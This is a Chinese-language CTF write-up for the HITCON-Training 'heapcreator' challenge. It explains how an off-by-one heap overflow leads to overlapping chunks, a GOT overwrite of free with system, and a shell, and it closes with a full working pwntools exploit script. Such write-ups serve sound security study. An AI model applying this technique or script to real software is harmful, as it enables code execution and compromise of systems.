HITCON-Training lab13 heapcreator(heap extend)

啊啊啊,搞了一早上,終於終於搞明白了,,,

題目鏈接:https://buuoj.cn/challenges#hitcontraining_heapcreator

ida簡單看一下

創建堆

創建的時候,每次都會先創建0x10的heaparray,然後再創建堆

 

編輯

對比建堆,可以看到size大了一個

 

打印

刪除

程序基本功能就這樣了

因爲edit的時候可以多寫入一個字節,存在off-by-one,我們可以通過溢出覆蓋下一個字節,爲了覆蓋到下一個字節的size位,因爲程序存在複用,即如果都inuse的話,上一個chunk可以使用到下一個chunk的prev_size,那麼我們再溢出,就可以到size位了。

步驟:

(1)我們是首先申請了0x18字節(實際就給了0x10+下一個chunk的prev_size)

(2)然後再申請0x10

(3)edit第一個chunk,並且輸入‘/bin/sh\x00’,通過棧溢出,將第二個chunk的size設置爲0x41【解釋1】

(4)free掉第二個chunk

(5)重新申請0x30的chunk大小【解釋2】

(6)將free_got的地址輸入chunk,並且打印出來

(7)計算出基地址、system地址

(8)覆蓋free_got表爲system地址

(9)刪除第一個堆塊即可

這裏學習的時候,主要遇到了兩個問題,就是後面標註的兩個解釋,大小問什麼是0x41,重新申請裏面,爲什麼要先有p(0)*4

 

接下來將逐一講解

首先申請兩個堆塊

create(0x18,"dada") # 0
create(0x10,"ddaa") # 1

edit後

edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
        8字節            0x10字節  溢出到size

delete(1)
釋放申請的堆塊

可以看到,同時釋放了兩個chunk,大小分別爲0x40和0x20

一個是heaparray[1]修改成的0x40,另一個是chunk1,被heaparray[1]覆蓋到的chunk

create(0x30,p64(0)*4 +p64(0x30) +  p64(free_got)) #1
重新申請堆塊,最重要的一塊,重新申請的堆塊大小爲0x30,也就是我們之前釋放的0x41,這樣子,就成功的將heaparray和chunk換了位置,,,

我們知道heaparray的第二個放的是函數指針,,那麼如果我們申請到的地址被系統認爲是heaparray,讓我們在chunk裏面佈置上的地址就會被認爲是函數地址,會去執行,我們也就可以進行一系列操作了 

因爲heaparray的大小是0x10,所以會去鏈表裏找被釋放有沒有符合大小的,因爲有,所以會把之前的chunk給他,而現在要的chunk大小是0x30,會把之前更改後釋放的0x41的heaparray的地址給他們,成功實現互換,,,

 

所以,我們要把數據放入0x1bfe300的後面八個字節裏面,並且在前面八個字節放上大小,,,就構造好了,可以泄漏地址,寫入地址,,隨便走

完整的exp如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwnpwnpwn import *
from pwn import *

host = "training.pwnable.tw"
port = 11013
#host = "10.211.55.28"
#port = 8888

r = remote(host,port)


def create(size,content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)

def edit(idx,content):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))
    r.recvuntil(":")
    r.sendline(content)

def show(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))

def delete(idx):
    r.recvuntil(":")
    r.sendline("4")
    r.recvuntil(":")
    r.sendline(str(idx))

free_got = 0x602018
create(0x18,"dada") # 0
create(0x10,"ddaa") # 1
edit(0, "/bin/sh\x00" +"a"*0x10 + "\x41")
delete(1)
create(0x30,p64(0)*4 +p64(0x30) +  p64(free_got)) #1
show(1)
r.recvuntil("Content : ")
data = r.recvuntil("Done !")

free_addr = u64(data.split("\n")[0].ljust(8,"\x00"))
libc = free_addr - 0x83940 
print "libc:",hex(libc)
system = libc + 0x45390
edit(1,p64(system))
delete(0)
r.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章